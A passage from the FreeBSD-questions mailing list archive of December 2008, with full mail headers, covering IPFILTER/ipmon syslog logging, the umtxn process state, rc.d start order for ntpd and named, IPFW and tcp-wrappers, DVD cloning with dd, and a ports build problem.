logged using the "log" keyword as the action rather than pass or block. LOG_NOTICE - packets logged which are also passed LOG_WARNING - packets logged which are also blocked LOG_ERR - packets which have been logged and which can be considered short To setup IPFILTER to log all data to /var/log/ipfilter.log, you will need t= o create the file. The following command will do that: # touch /var/log/ipfilter.log The syslog function is controlled by definition statements in the /etc/syslog.conf file. The syslog.conf file offers considerable flexibility= in how syslog will deal with system messages issued by software applications l= ike IPF. Add the following statement to /etc/syslog.conf: security.* /var/log/ipfilter.log The security.* means to write all the logged messages to the coded file location. To activate the changes to /etc/syslog.conf you can reboot or bump the sysl= og task into re-reading /etc/syslog.conf by running /etc/rc.d/syslogd reload Do not forget to change /etc/newsyslog.conf to rotate the new log you just created above. -----snip----- In trying to configure this I found that ipmon -Dsa doesn't log to security, but logs to local0 instead. Reading the man page for ipmon does = in fact state this. However it also list the -L option as being able to chang= e this default behavior, I tried ipmon -DSa -L security, it excepts this, but doesn't actually change the logging to use security. It still only outputs to the syslog using local0, I also tried using ipmon -DSa -L local7 as well= , still outputs to local0. It was easy enough to modify my syslog.conf to ou= tput the local0.* as well as security.* to the /var/log/security file. However = it would be greatly appreciated if someone that actually understands what's going on here could get this info updated. It would have saved me some tim= e, as well as I am sure some other people in the future. Of course it's always possible I am missing something simple here that is causing this discrepanc= y, please do inform me if I did. It's probably worth mentioning that I am starting ipmon using the rc.conf file with ipmon_enable=3D"YES" and ipmon_flags=3D"-DSa", just in case the /etc/rc.d/ipmon script actually changes the default behavior of ipmon in some way, though I didn't see anything in it that should. And ps wwaux | grep ipmon does display the pro= cess running with the flags exactly as stated on the ipmon_flags line of the /etc/rc.conf file. Thanks, =A0=A0=A0=A0 Dean Weimer =A0=A0=A0=A0 Network Administrator =A0=A0=A0=A0 Orscheln Management Co _______________________________________________ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" =0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 18:35:59 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 154151065678 for ; Fri, 5 Dec 2008 18:35:59 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 3F5818FC0C for ; Fri, 5 Dec 2008 18:35:57 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5IZYVH002912 for ; Fri, 5 Dec 2008 19:35:34 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5IZYYq002909 for ; Fri, 5 Dec 2008 19:35:34 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 19:35:34 +0100 (CET) From: Wojciech Puchar To: freebsd-questions@freebsd.org Message-ID: <20081205193446.B2902@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: what is umtxn X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 18:35:59 -0000 i've got once my asterisk process in umtxn state (as top shows) using 100% CPU. it was still answering calls. what's umtxn exactly? From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 18:37:18 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 615061065679 for ; Fri, 5 Dec 2008 18:37:18 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 961B88FC1C for ; Fri, 5 Dec 2008 18:37:17 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5IakQT002928; Fri, 5 Dec 2008 19:36:46 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5IajRR002925; Fri, 5 Dec 2008 19:36:45 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 19:36:45 +0100 (CET) From: Wojciech Puchar To: Bruce Cran In-Reply-To: <20081205083457.283d3deb@tau> Message-ID: <20081205193550.E2916@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205083457.283d3deb@tau> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "freebsd-questions@freebsd.org" , af300wsm@gmail.com Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 18:37:18 -0000 > The userland win32 API might be rather unpleasant but I was surprised > to learn to driver interface in the kernel is actually quite nice, and whatever ideas/solutions microsoft do it's f..ked up or stolen. the stolen case is actually better :) > isn't too dissimilar to FreeBSD in some ways. In > terms of performance Windows-based machines have made it into the > Top500 list of supercomputers, so at the high end performance must be > acceptable at least. maybe in raw MIPS performance From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 19:16:22 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C797C1065677 for ; Fri, 5 Dec 2008 19:16:22 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 442F58FC19 for ; Fri, 5 Dec 2008 19:16:21 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl153-194.kln.forthnet.gr [62.1.244.194]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB5JGEK6005440 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 5 Dec 2008 21:16:19 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB5JGDpI038791; Fri, 5 Dec 2008 21:16:13 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB5JGDNW038790; Fri, 5 Dec 2008 21:16:13 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Wojciech Puchar References: <20081205193446.B2902@wojtek.tensor.gdynia.pl> Date: Fri, 05 Dec 2008 21:16:12 +0200 In-Reply-To: <20081205193446.B2902@wojtek.tensor.gdynia.pl> (Wojciech Puchar's message of "Fri, 5 Dec 2008 19:35:34 +0100 (CET)") Message-ID: <871vwmv3er.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mB5JGEK6005440 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-4.005, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.39, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: freebsd-questions@freebsd.org Subject: Re: what is umtxn X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 19:16:22 -0000 On Fri, 5 Dec 2008 19:35:34 +0100 (CET), Wojciech Puchar wrote: > i've got once my asterisk process in umtxn state (as top shows) using > 100% CPU. > > it was still answering calls. > > what's umtxn exactly? A kernel lock operation. ``procstat -k PID'' may show more details about the in-kernel stack of the process that spins on the lock. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 19:18:45 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E665A1065676 for ; Fri, 5 Dec 2008 19:18:45 +0000 (UTC) (envelope-from fbsd06+4K=17e8c03f@mlists.homeunix.com) Received: from fallback-in1.mxes.net (fallback-out1.mxes.net [216.86.168.190]) by mx1.freebsd.org (Postfix) with ESMTP id B78208FC14 for ; Fri, 5 Dec 2008 19:18:45 +0000 (UTC) (envelope-from fbsd06+4K=17e8c03f@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by fallback-in1.mxes.net (Postfix) with ESMTP id B5A721647A0 for ; Fri, 5 Dec 2008 14:07:08 -0500 (EST) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id E7FD023E3FE for ; Fri, 5 Dec 2008 14:07:06 -0500 (EST) Date: Fri, 5 Dec 2008 19:07:03 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081205190703.0dfb952d@gumby.homeunix.com> In-Reply-To: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 19:18:46 -0000 On Fri, 21 Nov 2008 16:47:50 -0800 "Nerius Landys" wrote: > > I believe that the fix for this is to add a dependency > to /etc/rc.d/ntpd script, adding "named" to "REQUIRE" section in > comments. In your opinion, is this a robust fix? For example the > line in my /etc/rc.d/ntpd script that looks like so: > > # REQUIRE: DAEMON ntpdate cleanvar devfs > > would be changed to this: > > # REQUIRE: DAEMON ntpdate cleanvar devfs named This shouldn't be needed as ntpd already requires ntpdate and in turn ntpdate requires named. The issue is probably timing - that named isn't ready. I have a similar issue with PPP not having connected by the time ntpdate runs , so I just have a script that runs between named and ntpdate, and blocks waiting for access. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 19:29:42 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2DC8B1065678 for ; Fri, 5 Dec 2008 19:29:42 +0000 (UTC) (envelope-from gwg7webbcom@yahoo.com) Received: from web52209.mail.re2.yahoo.com (web52209.mail.re2.yahoo.com [206.190.48.132]) by mx1.freebsd.org (Postfix) with SMTP id CE1128FC30 for ; Fri, 5 Dec 2008 19:29:41 +0000 (UTC) (envelope-from gwg7webbcom@yahoo.com) Received: (qmail 54453 invoked by uid 60001); 5 Dec 2008 19:29:41 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Message-ID; b=Lcv9bBaA1cZQCxV8tFix3w+cl+UpMWXvr2aEcXwD1qIRYHfyVVle5BEpRP/3oVlvasn63SHGlpf6Nn3pAcIEcPivMQElbyFZbH+wMYt0VRNo0NuomHMTDJLiZlK6TphlDrxhEs3IHEOdoAGkYb527mliaODxQycflYPRbxUSBQo=; X-YMail-OSG: nC8ltkEVM1k8CDIo_9kQvmQiTPig_On4ORc2DNAQ2iWN5MWnJjuJMJYkFZ16PWuW3Q7ovMf7OM0VNrz8wlbZJNKNYGAHYRPFau2Xg8ilHrA4xB4HC93XkqKjNUxSbdjpXjimWL7SOCOCUDFEedQxdX3PqXMURuhhFqkKihwK4AQ82A-- Received: from [71.180.152.129] by web52209.mail.re2.yahoo.com via HTTP; Fri, 05 Dec 2008 11:29:40 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Fri, 5 Dec 2008 11:29:40 -0800 (PST) From: G magicman To: freebsd-questions@freebsd.org, Mel In-Reply-To: <200812051202.59160.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Message-ID: <198267.54082.qm@web52209.mail.re2.yahoo.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Re: IPFW Firewall Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: gwg7webbcom@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 19:29:42 -0000 I have tried this it did not work and the Co-Lo people are convinced that s= shd and sendmail need to be run out of inetd.conf for this to work As i said i am used to BSDI=A0 and the Finnish SSHD=20 Also here they are using the combined hosts.allow/deny=A0 with the deny ins= ide which i never liked Thank you for your help on this Garrett --- On Fri, 12/5/08, Mel wrote: From: Mel Subject: Re: IPFW Firewall Question To: freebsd-questions@freebsd.org, gwg7webbcom@yahoo.com Date: Friday, December 5, 2008, 6:02 AM On Friday 05 December 2008 01:26:04 G magicman wrote: > Why because of the following: > > 1. Hosts.access=A0 on freebsd works on the Application Layer instead of t= he > Network Layer Therefore Hosts.allow/hosts.deny=A0=A0 no longer works the = way i > want and i do not feel like running Sendmail and sshd out of Inetd which > appearantly is the only way to be able to use hosts.allow/deny You're right about the application layer, but not about the rest. From=20 sshd(8): /etc/hosts.allow /etc/hosts.deny Access controls that should be enforced by tcp-wrappers are defined here. Further details are described in hosts_access(5= ). > 2. Next openssh doesnot have an AllowHosts directive like the Finnish one > does it only has an AllowUsers directive so i need to protect the system > from DDOS attacks Again, see above. > and Hacking I already tried to block things using the=20 > Sendmail Access file but all that did was choak up the server with moroni= c > shit.=A0 And i want to be able to use my sftp program but it opens random > ports which can not be controlled so i need the Clearaddresses to be able > to see all ports. For the firewall, pf user here, so others should help. ;) --=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. =0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 19:32:23 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 511BD1065675 for ; Fri, 5 Dec 2008 19:32:23 +0000 (UTC) (envelope-from dkelly@Grumpy.DynDNS.org) Received: from smtp.knology.net (smtp.knology.net [24.214.63.101]) by mx1.freebsd.org (Postfix) with ESMTP id DD7588FC1A for ; Fri, 5 Dec 2008 19:32:22 +0000 (UTC) (envelope-from dkelly@Grumpy.DynDNS.org) Received: (qmail 31999 invoked by uid 0); 5 Dec 2008 19:32:21 -0000 Received: from unknown (HELO Grumpy.DynDNS.org) (75.76.211.79) by smtp3.knology.net with SMTP; 5 Dec 2008 19:32:21 -0000 Received: by Grumpy.DynDNS.org (Postfix, from userid 928) id D6A1E28422; Fri, 5 Dec 2008 13:32:20 -0600 (CST) Date: Fri, 5 Dec 2008 13:32:20 -0600 From: David Kelly To: Wojciech Puchar Message-ID: <20081205193220.GA36935@Grumpy.DynDNS.org> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> <20081205171703.B2281@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081205171703.B2281@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.4.2.3i Cc: Andrew Gould , Polytropon , FreeBSD Questions Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: FreeBSD-Questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 19:32:23 -0000 On Fri, Dec 05, 2008 at 05:18:01PM +0100, Wojciech Puchar wrote: > > > >Thanks, dd is a good suggestion for ISO data. But what I need > > once again please do > man dd > > dd reads sector by sector. > > it won't work only for audio-sectors on CD , on DVD movies are stored > using "normal" 2K sectors Agree that dd is good for simple CDs and DVDs but can't say that I know it will behave on multi-session or multi-format discs. In years past there was an issue where some drives would return EOF with the last sector and others would wait until attempt to read past the last sector yet would return data. So with multiple generations of copy each generation got one block longer. Know this because 10 years ago working in a data warehouse I easily won the argument against using Windows to duplicate/distribute data on CD for lack of a disc verify utility. These days the Disk Utility in MacOS X automatically verifies. But back then under FreeBSD I used dd and handled EOF specially in my shell script. -- David Kelly N4HHE, dkelly@HiWAAY.net ======================================================================== Whom computers would destroy, they must first drive mad. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 19:46:43 2008 Return-Path: Delivered-To: FreeBSD-Questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 096711065679 for ; Fri, 5 Dec 2008 19:46:43 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 42D918FC1A for ; Fri, 5 Dec 2008 19:46:41 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5JjrAu003434; Fri, 5 Dec 2008 20:45:53 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5JjqxT003431; Fri, 5 Dec 2008 20:45:52 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 20:45:52 +0100 (CET) From: Wojciech Puchar To: FreeBSD Questions In-Reply-To: <20081205193220.GA36935@Grumpy.DynDNS.org> Message-ID: <20081205204227.P3415@wojtek.tensor.gdynia.pl> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> <20081205171703.B2281@wojtek.tensor.gdynia.pl> <20081205193220.GA36935@Grumpy.DynDNS.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Andrew Gould , Polytropon Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 19:46:43 -0000 > > Agree that dd is good for simple CDs and DVDs but can't say that I know > it will behave on multi-session or multi-format discs. the question was about DVD. dvd are not produced multisession or multiformat. and when copying multisession data DVD, it's much better to copy off all files, possible add more and write as single session. actually it's rarely used. i never recorded even one multisession DVD except once to test if it works :) with CD - you are right, but it was already told that readcd is OK. unfortunately AFAIK there is no similar tool for DVDs From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 19:46:43 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1EE49106567A for ; Fri, 5 Dec 2008 19:46:43 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 42E248FC1B for ; Fri, 5 Dec 2008 19:46:41 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5JkF7f003441; Fri, 5 Dec 2008 20:46:15 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5JkFfq003438; Fri, 5 Dec 2008 20:46:15 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 20:46:15 +0100 (CET) From: Wojciech Puchar To: Giorgos Keramidas In-Reply-To: <871vwmv3er.fsf@kobe.laptop> Message-ID: <20081205204604.M3415@wojtek.tensor.gdynia.pl> References: <20081205193446.B2902@wojtek.tensor.gdynia.pl> <871vwmv3er.fsf@kobe.laptop> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: what is umtxn X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 19:46:43 -0000 >> 100% CPU. >> >> it was still answering calls. >> >> what's umtxn exactly? > > A kernel lock operation. ``procstat -k PID'' may show more details > about the in-kernel stack of the process that spins on the lock. > > thank you. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 21:18:37 2008 Return-Path: Delivered-To: FreeBSD-Questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 060D91065695 for ; Fri, 5 Dec 2008 21:18:37 +0000 (UTC) (envelope-from dkelly@Grumpy.DynDNS.org) Received: from smtp.knology.net (smtp.knology.net [24.214.63.101]) by mx1.freebsd.org (Postfix) with ESMTP id AA4DF8FC30 for ; Fri, 5 Dec 2008 21:18:35 +0000 (UTC) (envelope-from dkelly@Grumpy.DynDNS.org) Received: (qmail 13837 invoked by uid 0); 5 Dec 2008 21:18:33 -0000 Received: from unknown (HELO Grumpy.DynDNS.org) (75.76.211.79) by smtp2.knology.net with SMTP; 5 Dec 2008 21:18:33 -0000 Received: by Grumpy.DynDNS.org (Postfix, from userid 928) id 6E5A328422; Fri, 5 Dec 2008 15:18:33 -0600 (CST) Date: Fri, 5 Dec 2008 15:18:33 -0600 From: David Kelly To: Wojciech Puchar Message-ID: <20081205211833.GB37607@Grumpy.DynDNS.org> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> <20081205171703.B2281@wojtek.tensor.gdynia.pl> <20081205193220.GA36935@Grumpy.DynDNS.org> <20081205204227.P3415@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081205204227.P3415@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.4.2.3i Cc: Polytropon , Andrew Gould , FreeBSD Questions Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: FreeBSD-Questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 21:18:37 -0000 On Fri, Dec 05, 2008 at 08:45:52PM +0100, Wojciech Puchar wrote: > > > >Agree that dd is good for simple CDs and DVDs but can't say that I know > >it will behave on multi-session or multi-format discs. > > the question was about DVD. dvd are not produced multisession or > multiformat. The above is contradicted below. *These* DVDs in question are known not multi-session? > and when copying multisession data DVD, it's much better to copy off > all files, possible add more and write as single session. Depends on what your homework assignment is. In the data center I was talking about one could make a good argument that the duplicate was to be multi-session if the original was. We don't know for sure it doesn't contain a presentation application or something counting on the multiple sessions. > actually it's rarely used. i never recorded even one multisession DVD > except once to test if it works :) On DVD-R it works badly, can only write 4 or 5 sessions and there is some huge buffer zone between each session, 200 to 500 MB. > with CD - you are right, but it was already told that readcd is OK. > > unfortunately AFAIK there is no similar tool for DVDs Thought readcd (out of cdrtools) also knew how to read DVD? -- David Kelly N4HHE, dkelly@HiWAAY.net ======================================================================== Whom computers would destroy, they must first drive mad. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 21:19:38 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8DA291065687 for ; Fri, 5 Dec 2008 21:19:38 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from pecan2.exetel.com.au (pecan2.exetel.com.au [220.233.0.70]) by mx1.freebsd.org (Postfix) with ESMTP id 54A428FC0A for ; Fri, 5 Dec 2008 21:19:38 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from 196.43.96.58.exetel.com.au ([58.96.43.196] helo=enterprise.blackthorn.nu) by pecan2.exetel.com.au with esmtp (Exim 4.68) (envelope-from ) id 1L8i5H-0003mR-Hb; Sat, 06 Dec 2008 08:19:36 +1100 Message-ID: <49399AF3.5010800@maydias.com> Date: Sat, 06 Dec 2008 07:19:47 +1000 From: Warren Liddell User-Agent: Thunderbird 2.0.0.17 (X11/20081016) MIME-Version: 1.0 To: Brian References: <49392F02.9010902@maydias.com> <200812051511.59715.fbsd.questions@rachie.is-a-geek.net> <4939496B.7010303@brianwhalen.net> In-Reply-To: <4939496B.7010303@brianwhalen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: desperate Newb help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 21:19:38 -0000 I have no idea why 'configure' is run. No configure is run for me at all. >> Looks like your ports tree isn't sane. How do you upgrade your >> portstree? >> >> Instead of using portupgrade, could you just execute the following: >> make -C /usr/ports/databases/qt4-sql clean build >> > > > If youre new to freebsd, pkg_add -r packagename is infinitely easier > than muddling through port build options. > > Brian Well i have been using freebsd for about a yr an i update my ports via svn, but i also maintain a standard copy of the ports tree via csup. Sadly the same error existed when i tried make -C /usr/ports/databases/qt4-sql clean build ... id gladly use pkg_add if had the pre-build pkg for QT4-sql vers 4.4.2 or even all the QT4 @ vers 4.5 From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 21:52:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 601071065673 for ; Fri, 5 Dec 2008 21:52:15 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from fk-out-0910.google.com (fk-out-0910.google.com [209.85.128.190]) by mx1.freebsd.org (Postfix) with ESMTP id DEA878FC08 for ; Fri, 5 Dec 2008 21:52:14 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: by fk-out-0910.google.com with SMTP id k31so162252fkk.11 for ; Fri, 05 Dec 2008 13:52:13 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=LnKltMjDFQ+N9RzkTejo37VwyB4sEmWU7lecC/SmAPY=; b=Gyh8VdgVtD1ae5q50/mso1HS36dj5+3mUPMwbN/XR50IbF4jK7lzJV70TexRnmm5YX oE8ZG8Huit0z3HvTMNx/K3edc0ksNvXIsMoS2+yaHpKnfj+lSLJ/pY4JCjIKHbYVOxql oRHCqELygi+KB/70WDEw7Mtb+sNIXMTqWes/k= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=g39LY2CmRWp7zJhMkHHVqQa0QufyjNTaC0waKajYyOdMnQ4LR/WS8hhA9gH0rI/lCn 6AIdQoXK6ULUBBKvjHJkoyoN0ofTRVn/YSblgdW9JJOEYYJ2uYmlLQQihX/hXzApGwe5 rYbT6L+b6vQxOAG4yGQK5PVNANuNVoVVTqJio= Received: by 10.181.55.2 with SMTP id h2mr146721bkk.52.1228512149582; Fri, 05 Dec 2008 13:22:29 -0800 (PST) Received: by 10.180.240.16 with HTTP; Fri, 5 